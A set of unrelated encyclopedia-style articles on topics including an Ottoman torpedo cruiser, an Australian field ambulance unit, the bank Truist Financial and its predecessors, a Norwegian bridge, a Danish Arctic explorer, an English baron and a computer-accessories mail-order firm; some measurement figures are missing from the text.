Peyk-i Şevket, classified as a torpedo cruiser by the Ottoman Navy, was also sometimes referred to as a torpedo gunboat. She was long, with a beam of and a draft of . She displaced while on sea trials. The ship was powered by a pair of vertical triple-expansion engines each driving a screw propeller. The engines were rated at for a top speed of ; Peyk-i Şevket had a cruising radius of . Her crew numbered 105 officers and enlisted men.
Peyk-i Şevkets primary offensive armament was her three torpedo tubes. One was mounted in the bow, above water, and the other two were in deck-mounted swivel launchers amidships. She was armed with a pair of guns that were placed in shielded single mounts on the forecastle and quarterdeck. She also carried six guns, four of which were mounted in sponsons, and a pair of guns. She had no armor protection.
Service history
Peyk-i Şevket was ordered on 18 January 1903 and laid down in February 1906 at the Germaniawerft shipyard in Kiel, Germany. She was launched on 15 November of that year, and completed in 1907. After completing sea trials, she was transferred to the Ottoman Navy, arriving in Constantinople on 13 November, where she was formally commissioned into the Ottoman fleet. Rauf Orbay took command of the ship in 1908, and held the position until 1911. In 1909, she and her sister participated in the first fleet maneuver conducted by the Ottoman Navy in twenty years. At the outbreak of the Italo-Turkish War in September 1911, Peyk-i Şevket was in the Red Sea; on 2 October, she encountered the Italian torpedo cruiser and the gunboat off Al Hudaydah. The two Italian vessels forced Peyk-i Şevket to flee into the port, bombarded the dock facilities, and then withdrew. Peyk-i Şevket was later interned for the duration of the war in British-controlled Suez. In March 1913 during the First Balkan War, the ship was sent to the Black Sea to support the Çatalca garrison, which was under renewed attacks by the Bulgarian army during the Second Battle of Çatalca. After heavy bombardment from the Ottoman fleet, including Peyk-i Şevket, the Bulgarians were forced to retreat on 30 March.
On 3 August 1914, Peyk-i Şevket steamed to Constantinople, where she was scheduled to begin a lengthy overhaul. But due to the growing tensions in the region due to the outbreak of World War I in Europe, the ship was only painted and loaded with ammunition, fuel, and stores. On 20 November, Peyk-i Şevket and the battlecruiser Yavuz Sultan Selim, formerly the German Goeben, for a patrol off the Bosporus. In December, the ship joined Yavuz Sultan Selim, the ex-German light cruiser Midilli, and her sister Berk-i Satvet to escort a convoy of four troop transports to Rize. On 22 June 1915, Peyk-i Şevket was nearly torpedoed by the British submarine in the Sea of Marmara while she was transporting ammunition to the Ottoman garrison at Çanakkale. Two months later, successfully torpedoed the ship on 6 August, causing serious damage.
The ship returned to service by 1917, and as of July 1918, the ship was back in service, being used as an escort for troopships between Constantinople and the Caucasus. She was decommissioned in the final weeks of the war, on 30 October 1918, and laid up in Constantinople. On 30 November, the Ottoman Empire signed the Armistice of Mudros with the Entente powers, which concluded the conflict.
The ship was renamed Peyk in 1923 following the end of the Turkish War of Independence, which saw the Republic of Turkey replace the old Ottoman Empire. At the time, the ship was one of a handful of major warships still in active service, after more than a decade of near continuous war for the Turkish fleet. From 1925 to 1927, she was modernized at the Gölcük Naval Shipyard and was recommissioned in 1927. She was rebuilt in 1936–1938 and incorporated substantial improvements. Her stem was replaced and her superstructure was rebuilt. The old gun armament was replaced with a pair of 45-caliber guns and four 37 mm 40-caliber guns. The ship continued in service until 1944, when she was stricken from the naval register. The ship was laid up in Izmit and broken up between 1953 and 1954 at the Gölcük shipyard.
Notes
References
Cruisers of the Ottoman Navy
Ships built in Kiel
1906 ships
Peyk-i Şevket-class cruiser |
The 3rd Australian Field Ambulance was a company of the 3rd Brigade, 1st Division in the Australian Imperial Force (AIF) during the First World War. The 3rd Field Ambulance was deployed to Gallipoli, Turkey, on 25 April 1915. It is primarily known for being the company John Simpson Kirkpatrick was registered in. The Field Ambulance consisted of medical personnel who would treat injured soldiers on the battlefield.
Private John Kirkpatrick Simpson was born on 6 July 1892, in South Shields of North East England, and at age 23 he enlisted as a stretcher bearer with the 3rd Field Ambulance during the Gallipoli campaign. John Simpson became Australia's most famous military hero for his innovative idea of using a donkey to assist in carrying wounded soldiers from the high ground of the front line, back to the dressing stations located at Anzac Cove. For part of its service on the Western Front, it was commanded by Lieutenant Colonel Arthur Butler, who later wrote the official history of the Australian Army's medical services during the war.
During the Second World War, the 3rd Field Ambulance was part of the Militia, Australia's part-time military force, and was deployed to New Guinea, where it supported the 30th Brigade during fighting against the Japanese during the Kokoda Track campaign, deploying from Adelaide in January 1942.
References
3rd Australian Field Ambulance
3rd Australian Field Ambulance
Military units and formations established in the 1910s |
Dorothea Adelheid Dreier (1870–1923) was an American painter.
Biography
Dreier was born in Brooklyn, New York, on December 8, 1870. Her five siblings included the painter Katherine S. Dreier, social reformer Mary Dreier, and the labor leader Margaret Dreier Robins. She studied in New York City where her teachers included John Twachtman and William Merritt Chase. She studied at the Art Students League of New York. She was a member of the Society of Independent Artists.
She died in 1923 in Saranac, New York. A posthumous retrospective of her work was held at the Brooklyn Museum in 1925.
Dreier's work is in the collection of the Brooklyn Museum. Her papers are in the Archives of American Art at the Smithsonian Institution.
References
External links
1870 births
1923 deaths
American women painters
19th-century American women artists
20th-century American women artists
19th-century American painters
20th-century American painters
Artists from Brooklyn
Painters from New York City
Art Students League of New York alumni |
Truist Financial Corporation is an American bank holding company headquartered in Charlotte, North Carolina. The company was formed in December 2019 as the result of the merger of BB&T (Branch Banking and Trust Company) and SunTrust Banks. Its bank operates 2,781 branches in 15 states and Washington, D.C., and offers consumer and commercial banking, securities brokerage, asset management, mortgage, and insurance products and services. It is on the list of largest banks in the United States by assets; as of August 2023, it is the 9th largest bank with $514 billion in assets. As of January 2021, Truist Insurance Holdings is the seventh largest insurance broker in the world, with $2.27 billion in annual revenue.
History
History of BB&T
In 1872, Alpheus Branch and Thomas Jefferson Hadley founded the Branch and Hadley merchant bank in their hometown of Wilson, North Carolina. After many transactions, mostly with local farmers, Branch bought out Hadley's shares in 1887 and renamed the company Branch and Company, Bankers. Also in 1887, the bank moved to its new headquarters on Nash Street in downtown Wilson, North Carolina. Two years later, Branch, his father-in-law Gen. Joshua Barnes, Hadley, and three other men secured a charter from the North Carolina General Assembly to operate the Wilson Banking and Trust Company. After many more name changes, the company finally settled on the name Branch Banking and Trust Company. Branch remained an active member of the company until his death in 1893. The 1903 Branch Banking and Trust Company Building at Wilson was listed on the National Register of Historic Places in 1978.
BB&T sold Liberty Bonds during World War I and grew to have more than $4 million in assets by 1923. BB&T Insurance Services was added in 1922 and a mortgage division was added in 1923. Even though banks across the United States failed as a result of the 1929 Stock Market Crash, BB&T survived; it was the only one to do so in the town of Wilson.
History of Southern National Bank
In 1897, the Bank of Lumberton was started by Angus Mclean in Lumberton, North Carolina, the predecessor of Southern National. The founding board members of the bank were Angus Mclean, Thomas McNeill, R.D. Caswell, C.B. Townsend, S.A. Edmund, R.L. Steele, W.L.F. Steel, T.C. Guthrie, H.B. Jennings. The board was composed of members from Lumberton, Rockingham, North Carolina, and Bennettsville, South Carolina. Thomas McNeill was selected to be the bank's first president. He resigned a year later, when he was appointed as a judge. After McNeill resigned Mclean became president. Mclean did not simply view himself as a banker, he wanted to build companies that had a good return on their investment, created jobs, and benefited the communities they operated within. In 1955 Hector MacLean, Angus Mclean's son, was named president. The Bank of Lumberton changed its names to Southern National Bank in 1959.
In 1979, the Carolina State Bank of Gastonia, started in 1971, became part of Southern National. In 1982, Southern National took over Winston-Salem-based Forsyth Bank & Trust, led by Glenn Orr.
In 1985, Southern National had assets of $1.5 billion. With the purchase of a former Northwestern Bank branch in Hickory, which had to be sold after the First Union-Northwestern merger, Southern National had 99 branches in 26 counties. In 1986, Southern National Corporation entered South Carolina with the $10 million purchase of Horry County National Bank of Loris. Later that year, Southern National announced the $5.6 million purchase of First Palmetto Bancshares Corp. of Columbia and the $9.75 million purchase of Capital Bank and Trust Co. of Belton. At the time, Southern National was North Carolina's seventh-largest banking company. Also in 1986, Southern National sold its Southern National Mortgage Co. to NCNB for an estimated $7 million. Southern National had not intended to sell the business but NCNB made a good offer, and the bank could use the money for its South Carolina purchases. NCNB had exited the mortgage business in 1981 to concentrate on interstate banking, though NCNB bought Bank of North Carolina in 1982 and sold that bank's mortgages to Southern National. In May 1989, Southern National announced its purchase of Allied Bankshares Inc. of Thomson, Georgia. The $59 million deal fell apart but would have been the first acquisition of a Georgia bank by a mid-sized N.C. bank. Another failed deal in 1990 would have given Southern National $1 billion in South Carolina assets and 53 offices in the state. NBSC had $540 million in assets, while Southern National Corp. had $3.4 billion and was N.C.'s fifth largest bank holding company. NBSC shareholders objected to the $53 million deal.
In 1990, Hector MacLean retired from the bank. During his presidency, the bank changed its name, grew from $3 million in assets to $3.3 billion, and grew to 148 branches. MacLean's successor was Glenn Orr. Early in 1993, Southern National completed its purchase of First Federal Savings Bank in Winston-Salem, putting Southern National behind only Wachovia in Forsyth County deposits. Southern National had $4.5 billion in assets, $3.9 billion of those in North Carolina, and was the state's sixth largest banking company. The company's North Carolina banking operations began moving to Winston-Salem, though Orr and the corporate headquarters stayed in Lumberton. One reason for the move was the 20-story, One Triad Park, which had of space Southern National could move into immediately. One of the other contenders, Greensboro, would not have a new building ready, and the bank would need a temporary home. With Southern National taking on eight floors, the building's name changed to Southern National Financial Center on May 3.
Also in 1993, Southern National announced the purchase of Goldsboro-based East Coast Federal Savings Bank, with $256 million in assets, which Orr called "one of the best savings banks in the state." The deal would make Southern National number one in deposits in Fayetteville, the state's fifth-largest banking market. In 1993, Southern National announced the acquisition of First Savings Bank, FSB, headquartered in Greenville, South Carolina. With just over $2 billion in assets, it was the third largest financial institution in South Carolina. Orr, along with BB&T Chairman John Allison, helped facilitate the Southern Nation BB&T merger.
Merger with Southern National Bank
In 1995, the bank merged with Southern National Bank, another bank with roots in the eastern part of the state. This gave BB&T 437 branches in 220 cities in the Carolinas and Virginia. The merged company became Southern National Corp., but all of its banking subsidiaries took the BB&T name. With $19 billion in assets, BB&T had the most North Carolina deposits and branches of any bank. Southern National head Glenn Orr and new BB&T chairman John Allison said the merger likely created a bank that would be too rich to be taken over by an out-of-state bank. Orr retired once the merger was complete. The headquarters became BB&T Financial Center in Winston-Salem, North Carolina.
In 1997, Southern National Corp. took over United Carolina Bank, another eastern North Carolina-based bank, in a $985 million deal announced in November 1996. UCB had $4.5 billion in assets. 400 employees worked in Whiteville but despite losing the headquarters, the town would eventually have 500 BB&T employees working at a 250-employee call center and other operations. Starting September 22, 1997, 91 UCB branches began the process of changing to BB&T, and 67 other branches of the two banks closed starting in October because they were close to other BB&T locations.
On May 19, 1997, Southern National Corp. changed its name to BB&T Corp. and its stock symbol SN to BBT.
Acquisitions
The bank continued to expand nationwide through the 1990s, purchasing Fidelity Financial Bankshares, First Financial of Petersburg, Md., Maryland Federal Bancorp, and Franklin Bancorporation. In 1998, BB&T acquired MainStreet Financial of Martinsville, Va., and Mason-Dixon Bancshares of Westminster, Md., and further expanded into Georgia and West Virginia after purchasing First Liberty of Macon, Ga., and Matewan Bancshares.-
In 2000, BB&T purchased One Valley Bancorp, which was itself formed from a combination of community banks throughout West Virginia. This move gave BB&T the largest bank presence in West Virginia. In 2002, BB&T completed its acquisition of MidAmerica Bancorp of Louisville, Ky. (Bank of Louisville) and AREA Bancshares Corporation of Owensboro, Ky. In 2003, BB&T completed its acquisition of First Virginia Banks of Falls Church, Va. In 2005, the bank acquired Main Street Banks of metro Atlanta for $622 million. In 2006, the bank acquired Coastal Federal Bank, based in Myrtle Beach.
In late 2008, the bank accepted $3.1 billion in bailout money through the sale of preferred shares to the U.S. Treasury's Troubled Asset Relief Program. In June 2009, the bank repurchased the shares. Also in June 2009, its chairman, John A. Allison IV delivered a keynote address to a meeting of the Competitive Enterprise Institute, where he claimed to show how government regulation caused the financial crisis of 2007–2008. In July 2008, the company acquired Puckett, Scheetz & Hogan. In December 2008, the company acquired J. Rolfe Davis. On August 14, 2009, the bank acquired Colonial Bank after its seizure by the FDIC. This acquisition added more than 340 branches in Alabama, Florida, Georgia, Nevada, and Texas, along with approximately $22 billion in assets. BB&T sold the Nevada branch to U.S. Bancorp in January 2010.
The company acquired Atlantic Risk Management. In November 2011, the company acquired Precept, an employee benefits consulting firm. In July 2012, the bank acquired BankAtlantic, and its $2.1 billion in loans and $3.3 billion in deposits. The company also began selling flood insurance online. In December 2013, the bank acquired 21 Citigroup branches in Texas for $36 million, adding $1.2 billion in deposits. In September 2014, the bank acquired 41 more Citigroup branches, adding $2.3 billion in deposits.
In June 2015, the bank acquired Bank of Kentucky for $363 million, which added $1.9 billion in assets and gave BB&T a presence in the Northern Kentucky-Cincinnati market and its first branches in Ohio. In August 2015, the bank acquired Susquehanna Bank for $2.5 billion, adding 240 branches and $18.7 billion in assets, and marking the bank's entry into Pennsylvania and New Jersey. In April 2016, the company acquired Swett & Crawford, a wholesale insurance broker. In April 2016, the bank acquired National Penn for $1.8 billion, which added 124 branches in Pennsylvania, New Jersey, and Maryland, $9.6 billion in assets, and $6.7 billion in deposits. On August 29, 2018, BB&T announced as many as 630 employees would move from its former corporate headquarters on West Nash Street in Wilson to a $35 million, 95,000-square-foot facility on Pine Street. On October 16, 2018, BB&T announced plan to move 500 employees into a 100,000-square-foot, $10 million building in Whiteville, N.C.
In May 2022, Truist announced the organisation had acquired the 12-person San Francisco based, gamified financial technology start-up company Long Game Savings inc. The monetary value paid for the company has been left undisclosed.
Insurance services
BB&T has been in the insurance business since 1922. In the late '80s and early '90s the division was losing money. In 1990 Henry William and Wade Reece, a BB&T branch manager, met to discuss how to make the business profitable again. In 1995 the insurance services division made 6 acquisitions of insurance companies based across North Carolina. In July 1999 the insurance services division had acquired 24 insurance companies in North Carolina, 15 in Virginia, 3 in South Carolina, and 1 in Georgia. By 2010 BB&T's insurance division had grown to be the sixth largest broker in the US and the seventh largest in the world with $1 billion in annual revenue. The division has completed 60 mergers since 1999. In 2002 CRC was acquired, whose businesses include specialty and high risk clients. TAPCO and Southern Cross were also acquired and merged into CRC. In February 2008, the division acquired Burkey Risk Services. In April 2008 UnionBanc Insurance Services was acquired. In November 2009, the division acquired Oswald Trippe.
In September 2011 Liberty Benefit Insurance Services, an agency operating in California, was acquired. In February 2012, the division acquired the life insurance, property, and casualty insurance divisions of Crump Group. In March 2014, the Insurance Services division acquired Woodbury & Co., an insurance broker operating in the Carolinas. In April 2014 Caledonian Insurance Group was, a company which specialized in insurance brokerage services for the aviation industry. In April 2015, BB&T subsidiary CRC Insurance Services acquired the assets of Napco LLC, a broker of catastrophic commercial insurance. In the June 2015 acquisition of Bank of Kentucky part of the deal was also American Coastal Insurance which increased BB&T's ownership in AMRisc. In April 2018 the insurance service division announced it was purchasing Regions Insurance Group which was owned by Regions Financial Corporation and the purchase was completed in July 2018. The business was based in Memphis, Tennessee and had offices in 10 states. This acquisition significantly added the insurance division's retail and whole lines of business. The acquisition provided BB&T Insurance Services with 60,000 new clients in multiple states.
In June 2020 BB&T Insurance Holdings rebranded as Truist Insurance Holdings and moved its headquarters to Charlotte, North Carolina inside the Truist Center, Truist's corporate headquarters. Insurance services has been an important area of growth for Truist. In 2020 it accounted for 10% of Truist's revenue. Kelly King CEO of Truist stated the company's goal is to have the insurance division eventually make up 14% to 15% of Truist's revenue.
History of SunTrust Banks
SunTrust Banks is the combination of three companies, two banks, one based in Georgia and one based in Florida, and an investment company. The three companies are Trust Company of Georgia, Sun Bank, and The Robinson-Humphrey Company.
On September 21, 1891 what subsequently became the Trust Company of Georgia was started by John M. Green, Joel Hurt, H. L. Atwater, W. A. Hansell, T. J. Hightower, J. G. Oglesby, J. D. Turner, John B. Daniel, Joseph Hirsch, Leon Lieberman, Louis Wellhouse, A. J. McBride, D. O. Dougherty, W. A. Gregg, W. W. Draper, A. C. Hook, W. T. Ashford, George W. Brooke, C. I. Branan, and C. D. Montgomery. In November 1893, it restructured as a trust company and renamed itself Trust Company of Georgia.
The earliest predecessor of Sun Bank was founded in 1911 as The People's National Bank in Orlando, Florida. In 1920, it became the First National Bank. In the early 1930s, during the Great Depression, the First National Bank and Trust Company failed. It was reorganized on Valentine's Day 1934 as the First National Bank at Orlando. In 1973, the bank merged with other Orlando banks to become SunBanks. As of December 31, 1973, it had three bank-related subsidiaries and total assets of $1.713 billion. In 1985 the Trust Company of Georgia and Sun Banks Inc. merge to form SunTrust Banks Inc.
The Robinson-Humphrey Company was founded as a municipal bond shop by Roby Robinson in 1894. Robinson and William G. Humphrey, a bond trader from Toledo, Ohio, eventually incorporated The Robinson-Humphrey Co. in 1902. It blossomed into the leading investment banking firm in the South under Chairman Justus Martin Jr., who helped broaden its ties to Atlanta corporations, European clients and the firm's wealthy families who were brokerage clients. Martin was at the helm when Robinson-Humphrey commissioned the building of the bold Atlanta Financial Center in city's tony Buckhead business district in the early 1980s. In 1982, Martin sold Robinson-Humphrey to American Express, which was then run by another Atlanta deal maker and fellow Georgia Tech grad, James Robinson (no relation to Roby Robinson). Under AmEx, the firm operated as part of Shearson Lehman Brothers Inc. In 1993, deal maker Sandy Weill orchestrated a deal for Shearson's retail division, and Robinson-Humphrey was included in the sale, using the Smith Barney unit of Primerica Corp. The company was acquired by SunTrust in 2001. In June 2020 SunTrust Robinson Humphrey and BB&T Capital Markets combined to form the new Truist Securities.
BB&T/SunTrust merger
On February 7, 2019, It was reported that Winston-Salem-based BB&T and Atlanta-based SunTrust Banks would come together in a merger of equals to create the eighth-largest US bank. It would be the biggest bank deal since the 2007-2009 financial crisis. While BB&T would be the nominal survivor, the merged bank would be headquartered in Charlotte, North Carolina, retaining significant operations in Winston-Salem. It was subsequently announced that Winston-Salem would be the bank's headquarters for community banking, while Atlanta would be the hub for wholesale / retail banking. SunTrust had been the last major bank headquartered in Atlanta, which had been the South's financial capital for much of the 20th century.
On June 12, BB&T and SunTrust announced that the merged company would be called Truist Financial Corporation. This name resulted from research that included hiring Interbrand, seeking opinions of employees of both banks, and focus groups. The new name drew criticism from analysts and customers of both banks on social media.
On June 17, Truliant Federal Credit Union of Winston-Salem filed suit claiming "trademark infringement", complaining of potential confusion between the two companies’ respective names, including Truliant products with "Tru" in their names. The parties agreed to dismiss claims on August 5, 2020 and the lawsuit was closed the next day.
The merger was completed at midnight December 6, 2019. BB&T CEO Kelly King retained the same position with the new company. Customers of both banks were given free access to all of Truist's ATMs free of charge. The merged bank will continue to operate under the BB&T and SunTrust names until the two banks' computer hardware, software and networking systems are streamlined, a process that could take as long as two years. Due to delays related to the COVID-19 pandemic, Truist announced in April 2021 that core conversion to combine the branches will be performed in early 2022. However, on the day the merger closed, SunTrust Bank merged into Branch Banking & Trust Company, forming Truist Bank as the merged company's legal banking entity.
On December 11, 2019, Truist officially exercised its option to purchase Hearst Tower in downtown Charlotte from Cousins Properties. Truist moved its corporate headquarters to Hearst Tower, which was renamed to Truist Center. Truist had taken over of total. The bank announced the deal was completed March 31, 2020. However, due to the COVID-19 pandemic, further actions will be delayed.
Truist unveiled its logo in January 2020, with two Ts representing touch and technology, and a shade of purple combining the blue of SunTrust and the burgundy of BB&T. In November 2020, the bank used helicopters to lift up four signs to the top of the former Hearst Tower. The "Truist" wordmark appears on the North Tryon Street and North College Street sides of the building, while the other two sides displayed the Truist logo. This signage has caused a lot controversy, even leading the building's original architect to refer to the signage as vandalism.
In February 2020, Truist announced it would be launching a nonprofit foundation called the Truist Foundation.
In March 2020, Truist announced it would vacate its former headquarters building in Winston-Salem except for a branch office and would move employees in its community/retail hub to other locations in the city, including the Park Building on Cherry Street and two locations on Stratford Road.
The merger was estimated to cost $4 billion. Part of these costs would be severance for workers laid off, conversion costs, marketing and professional fees. However, through the merger the bank estimates that $1.6 billion in net cost savings will be achieved by the end of 2022. Part of this savings would be fewer branches. Truist intended to close 800 branches by the first quarter of 2022, and office consolidation would reduce space by 4.8 million square feet.
On September 5, 2021, former SunTrust Banks CEO Bill Rogers became chief executive officer of Truist Financial Corporation.
Truist said it had completed changing signs on branches February 22, 2022. At that time former SunTrust customers had difficulty using debit cards.
Slavery
In 2020, Truist Financial acknowledged and apologized for the company's historical connections to slavery. Kelly King, chairman and chief executive of Truist, issued an employee memo addressing BB&T's slavery ties, but did not mention BB&T's founders Alpheus Branch and Thomas Hadley by name. Prior to the Civil War, Alpheus Branch's father Samuel owned 58 slaves. Thomas Hadley's father owned 37 slaves. The memo stated that "we must consider our own past and acknowledge the role our heritage companies played over 100 years ago to perpetuate the atrocity of slavery and the repression of enslaved people, leading to systemic disadvantages their descendants have endured for generations...We deeply regret and denounce these shameful aspects of our history, both known and unknown." According to the book Genealogy of American Finance, the economic roots of BB&T can be traced back to 1805, even though BB&T was founded in 1872, nearly a decade after slavery was abolished. Both founders of the bank served in the Confederate Army.
Post-merger deals
On December 10, 2020 Truist Insurance Holdings announced it will acquire 5 companies in the fourth quarter. Those include: W. Brown & Associates Property & Casualty, Specialty Risk Associates, Program Insurance Management of Sarasota, Wellington Risk Holdings Inc. and Fidelis Group Holdings. These companies will add $100 million in revenue.
In May 2021 Truist Insurance Holdings announced it will acquire Constellation Affiliated Partners in the third quarter. The insurance division plans to keep Constellation Affiliated Partners 475 employees and merge them into CRC. The acquisition will add $160 million in revenue to Truist Insurance Holdings current revenue of $2.3 billion. Truist Insurance has three main segments: retail, insurance premium finance and wholesale. John Howard, CEO of Truist Insurance, stated this about the division's approach "We are normally working on acquisition opportunities. We're in an industry that is consolidating, and we have a really good track record, I really think diversification is attractive, and we're already the most diversified insurance broker, so I want to continue to build on that. And for Truist overall, we provide diversification away from...credit businesses, so that we perform well throughout a variety of market cycles."
On August 11, 2021 Truist announced it is acquiring Service Finance Co. for $2 billion. Service Finance provides point-of-sale financing 14,000 dealers and contractors for home improvement projects. Truist already has a point-of-sale financing business that includes Sheffield Financial, which provides financing for power equipment, power sports, and trailers.
On March 3, 2022 Truist Insurance Holdings completed the acquisition of Kensington Vanguard National Land Services (KV). Kensington Vanguard National Land Services is one of the nation's largest independent national title companies. Truist's existing title business BridgeTrust Title Group will integrated into KV. The combined organized of BridgeTrust Title Group and KV along with Truist's premium business, AFCO, will all combine to become a new Truist Insurance Holdings division.
On May 3, 2022 Truist announced it has acquired Long Game, a 12 person fintech startup that has a gamified finance mobile app. The startup is a private company based in San Francisco. It was founded in 2015 by co-founder and CEO Lindsay Holden. Ms. Holden will continue to lead the team after the integration into Truist. In October 2022 Truist announced that Truist Foundry has been formed out of the original Long Game team plus 30 engineers. The purpose of the innovation group will be to build new offerings in emerging product categories. Lindsay Holden, former CEO of Long Game, will be the head of the group. Truist Foundry will have their office in San Francisco with engineers all over the US.
On August 10, 2022 Truist Insurance Holdings announced the purchase of BenefitMall, the nation's largest benefits wholesale agency. The company will be integrated into the CRC Group within Truist Insurance Holdings. The cost of the acquisition was not announced. BenefitMall is expected to add $150 million of annual revenue.
On August 22, 2022 Truist announced the bank is purchasing the Zaloni Arena platform which has been created by Durham based firm Zaloni. Truist believes this software will “accelerate its data governance, metadata management, advanced analytics, and artificial intelligence and machine learning (AI/ML) programs while driving investments in data talent ...," according to a press release. The software is centered around data lakes that allowsfor the collect of data from multiple sources such as structured data, data from sensors, and data from social media. The company's 20 employees will be joining Truist's Enterprise Data Office and the team will be based in Raleigh, North Carolina.
On September 6, 2022, Truist Insurance Holdings announced the $3.4 billion purchase of BankDirect Capital Finance from Texas Capital Bancshares Inc., the financial services company's first deal in the life insurance improvement industry. This was the largest deal ever for the former BB&T other than the merger which created Truist. BankDirect Capital Finance is based in Illinois, it has 122 employees across 5 offices. The deal is expected to close in the 4th quarter. Mike Maguire, company CFO, stated this about the deal “Strategically, BankDirect effectively doubles our premium finance business, broadens our capabilities to include life insurance and expands our West Coast presence. … We estimate Truist Insurance Holdings will be the number two premium finance player in the market after this deal closes later this quarter”.
In the last 7 years, 2016 to October 2022 Truist Insurance Holdings has made 11 insurance brokerage acquisitions, with its sale of WBAIS Inc. to Sompo International Holdings Ltd. in December 2020 it has 10 net acquisitions. According to S&P Market Intelligence this makes the company the second most active US banking acquirer of insurance brokerages during this period. The first place bank was Boston based Eastern Bankshares Inc.
In February 2023 Truist announced they are selling a 20% stake in Truist Insurance Holdings Inc. to Stone Point Capital for $1.95 billion. The deal is expected to close in the second quarter of 2023. Truist's rationale is to collaborate with Stone Point to grow the subsidiary. To facilitate collaborate once the sale is final a 5 member board will be created to oversee Truist Insurance Holdings. It will be composed of four members from Truist Financial and one from Stone Point.
Buildings and branches
See also
BB&T Center
Truist Center
SunTrust Banks
Uptown Charlotte
BB&T Financial Center
Southern National Bank
List of bank mergers in the United States
List of largest banks in the United States
The following sports venues sponsored by the company:
Truist Arena at Northern Kentucky University
Truist Field, a baseball park in Charlotte
Truist Park, a baseball park near Atlanta, home to the Atlanta Braves
Truist Point, a baseball park in High Point, North Carolina
Truist Stadium, a baseball park in Winston-Salem, North Carolina
Truist Stadium, a football stadium at North Carolina A&T State University
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Circle of Love may refer to:
Music
Circle of Love (Steve Miller Band album), 1981, and the title track
Circle of Love (Sister Sledge album), 1975, and the title track
"Circle of Love" (song), a song written by Dolly Parton, from the 2016 album by Jennifer Nettles To Celebrate Christmas
Film
Circle of Love (film), a 1964 French film
See also
Dolly Parton's Christmas of Many Colors: Circle of Love, a 2016 TV film
La Ronde (disambiguation) |
The Kvalsaukan Bridge () is a bridge that crosses the Hognfjorden in Sortland Municipality in Nordland county, Norway. It is part of the Norwegian County Road 82 between the town of Sortland and the neighboring Andøy Municipality. The bridge is long and the maximum clearance to the sea is .
The Kvalsaukan Bridge was opened in 1975. It was one of four bridges that were built in the 1970s to connect the islands of Vesterålen to each other. The other bridges that were built during that period are the Sortland Bridge, Andøy Bridge, and Hadsel Bridge. Together with the Tjeldsund Bridge near Harstad, these bridges connect the islands of Vesterålen to the mainland. The Kvalsaukan Bridge is the only one of these four bridges that was never a toll bridge.
See also
List of bridges in Norway
List of bridges in Norway by length
List of bridges
List of bridges by length
References
Sortland
Road bridges in Nordland
Bridges completed in 1975
1975 establishments in Norway
Norwegian County Road 82 |
Wilhelm August Graah (1793–1863) was a Danish naval officer and Arctic explorer. Graah had mapped areas of West Greenland when he, in 1828–30, was sent by King Frederick VI of Denmark on an expedition to the unmapped eastern coast with the purpose to search for the lost Eastern Norse Settlement.
Expedition
The expedition set out from Copenhagen in the brig Hvalfisken, but - once arrived in Greenland - used umiaks able to navigate in the waters between the coast and the sea ice of southeastern Greenland. In 1829, the expedition reached Dannebrog Island (65° 18' N), where it was stopped by ice. They wintered at Nugarlik (63° 22' N) and returned to the settlements on the west coast of Greenland in 1830. Two naturalists participated - the geologist Christian Pingel and the botanist Jens Vahl. Graah published an account of the exploration.
Graah named the southeastern coast of Greenland King Frederick VI Coast and mapped about 550 km of formerly uncharted territory. Although he had been asked to reach 69°, Graah fell short of his goal of going further north owing to innumerable hardships. He made numerous contacts with the now extinct Southeast-Greenland Inuit, describing in detail some of their customs and way of life.
Honours
The Graah Mountains (Graah Fjelde) and Graah Fjord in the King Frederick VI Coast of SE Greenland, as well as Cape Graah in King Christian X Land were named after him.
See also
Cartographic expeditions to Greenland
List of Arctic expeditions
Literature
English translation, Narrative of an Expedition to the East Coast of Greenland, London, 1837.
References
External links
The Fate of Greenland's Vikings
Explorers of the Arctic
Danish polar explorers
Scandinavian explorers of North America
Greenlandic polar explorers
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1863 deaths |
Sir Robert Dormer of Wing, 1st Baronet, 1st Baron Dormer of Wing [or Wenge] (26 January 1551 – 8 November 1616) was a 17th-century English peer.
Life
Dormer was the only surviving son of Sir William Dormer and his second wife, Dorothy Pelham (née Catesby). He studied at Gray's Inn in 1567 and obtained a B.A. from Oxford University in 1569.
In 1575, Dormer succeeded to the considerable lands and estate of his father in Buckinghamshire and elsewhere, together with a fortune estimated by the Spanish ambassador to amount to 100,000 ducats. Dormer became a Justice of the Peace in 1577. He served as High Sheriff of Buckinghamshire in 1584 and was knighted in 1591. He was returned as Member of Parliament for Tregony in 1571 and for Buckinghamshire in 1593.
In June 1615, he was created a baronet, of Wing (or Wenge). Only a few weeks later he was raised to the peerage as Baron Dormer, of Wing [or Wenge] in the County of Buckingham.
Family
Dormer married Elizabeth Browne, daughter of Anthony Browne, 1st Viscount Montagu, by whom he had six sons and three daughters. Dormer was a brother-in-law of Henry Wriothesley, 2nd Earl of Southampton, who was married to Elizabeth's sister, Mary. His half-sister, Jane, married the Spanish Ambassador, Gómez Suárez de Figueroa y Córdoba, 1st Duke of Feria.
His paternal grandmother, Jane Newdigate, was the sister of the Carthusian martyr, Sebastian Newdigate, but both Dormer and his father appear to have conformed to the established church. Nonetheless, Dormer held strong Catholic sympathies as so many of his relatives remained Catholic. Sir William Dormer was a friend of the influential Francis Russell, 2nd Earl of Bedford, whose patronage seems to have extended to William's son, Robert, and shielded the family somewhat from close scrutiny under the Penal laws despite the fact that Robert had married into the Catholic Montague family.
His daughter, Dorothy, married Sir Henry Huddleston, of Sawston Hall, noted for a number of priest holes.
Death
Lord Dormer died on 18 November 1616, aged 65, and was interred at All Saints' Church, Wing, where there is an impressive monument to his memory. He was succeeded in his titles by his grandson Robert, who was created Earl of Carnarvon in 1628.
References
Sources
Kidd, Charles, Williamson, David (editors). Debrett's Peerage and Baronetage (1990 edition). New York: St Martin's Press, 1990,
External links
Burial record, findagrave.com. Accessed 3 January 2023.
1551 births
1616 deaths
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English MPs 1593
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Inmac (International Minicomputer Accessories Corporation), which became a publicly traded company, was founded in 1975 in Silicon Valley. The company was first listed on the NASDAQ in 1987 and later merged with MicroWarehouse (Currys plc) in 1996.
Inmac was founded by Ken Eldred and Jim Willenborg, who met while in the MBA program at Stanford Business School.
Inmac was the first company to sell computer-related products and accessories via direct-mail catalogs. From its initial Palo Alto, California location, Inmac expanded internationally to England (1980), Germany (1982), Sweden (1983), France (1983), the Netherlands (1984), Canada (1987), Italy (1988), and Japan (1990). By 1989, Inmac was publishing 35 million catalogs in eight different languages, as international sales accounted for more than half the company's revenue. When the company was sold to MicroWarehouse in 1996, it had 1,500 employees and annual revenue over $400 million.
In 2005, the French subsidiary, Inmac France, was sold to the French retailer Wstore and became Inmac Wstore.
References
External links
LinkedIn Company Profile
